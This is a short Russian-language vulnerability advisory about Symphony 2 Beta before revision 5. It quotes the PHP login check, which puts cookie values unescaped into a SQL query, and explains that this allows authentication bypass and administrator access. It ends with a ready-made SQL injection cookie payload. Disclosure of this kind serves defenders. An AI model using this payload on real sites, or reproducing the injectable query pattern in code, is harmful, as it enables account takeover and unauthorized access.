Сайт разработчика: http://21degrees.com.au/
Уязвимые версии: Symphony 2 Beta до revision 5
Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:
<?php
public function isLoggedIn(){
$un = $this->Cookie->get('username');
$pw = $this->Cookie->get('pass');
$id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
if($id){
/* [...] */
}
/* [...] */
}
?>
Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)

Leave a Reply